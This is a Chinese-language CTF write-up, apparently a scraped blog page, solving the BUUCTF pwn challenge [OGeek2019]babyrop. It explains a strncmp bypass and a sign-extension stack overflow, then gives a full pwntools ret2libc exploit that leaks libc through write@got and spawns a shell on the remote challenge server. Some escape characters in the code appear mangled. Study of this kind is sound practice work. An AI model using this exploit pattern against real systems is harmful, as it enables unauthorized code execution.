zoukankan      html  css  js  c++  java
  • buuctf --pwn part2

    pwn难啊!

    1、[OGeek2019]babyrop

    先check一下文件,开启了NX

     在ida中没有找到system、‘/bin/sh’等相关的字符,或许需要ROP绕过(废话,题目提示了)

    查看到804871F函数中有个ctrncmp函数,输入的buf与一个随机数进行比较。可以通过输入开头的字符为‘x00’进行绕过,使strlen长度为0,则strncmp判定必定成功。

    之后的漏洞函数中,a1是我们之前输入的第八个字符,如果我们输入xff时,则在read时a1会进行符号填充,那么我们就可以读入4294967295(-1)个字节,这将直接导致栈溢出,之后就行常规的ROP。

    #!/usr/bin/python2
    #coding=utf-8
    from pwn import *
    
    context.log_level = 'debug'
    
    execve_file = './pwn'
    #p = process(execve_file)
    p = remote('node3.buuoj.cn',28790)
    elf = ELF(execve_file)
    libc = ELF('./libc-2.23.so')
    
    bin_sh_off = libc.search('/bin/sh').next()
    system_off = libc.sym['system']
    
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    main = 0x08048825
    
    payload = 'x00'+'xff'*7
    p.sendline(payload)
    p.recvuntil('Correct
    ')
    
    payload = 'a'*0xe7 + 'aaaa' + p32(write_plt) + p32(main) +p32(1) + p32(write_got)
    p.sendline(payload)
    
    write_addr = u32(p.recv()[0:4])
    libcbase = write_addr - libc.sym['write']
    log.success('libcbase =>'+hex(libcbase))
    
    system_addr = libcbase + system_off
    bin_sh_addr = libcbase +bin_sh_off
    
    payload = 'x00'+'xff'*7
    p.sendline(payload)
    p.recvuntil('Correct
    ')
    
    payload = 'a'*0xe7 + 'aaaa' + p32(system_addr) + p32(libcbase + libc.sym['exit']) + p32(bin_sh_addr)
    p.sendline(payload)
    
    p.interactive()
    exp

    待续。。。。

  • 相关阅读:
    小白学习React官方文档看不懂怎么办?1.起步
    部分安卓机调用相册跟相机出问题了
    var与let与const
    小白学习React官方文档看不懂怎么办?3.元素渲染
    小白学习React官方文档看不懂怎么办?2.JSX语法
    jQuery简单面试题
    HTML页面插入图片,使用background还是img标签
    HTML规范
    img标签不能直接作为body的子元素
    java 学习第三天小练习
  • 原文地址:https://www.cnblogs.com/yidianhan/p/12012513.html
Copyright © 2011-2022 走看看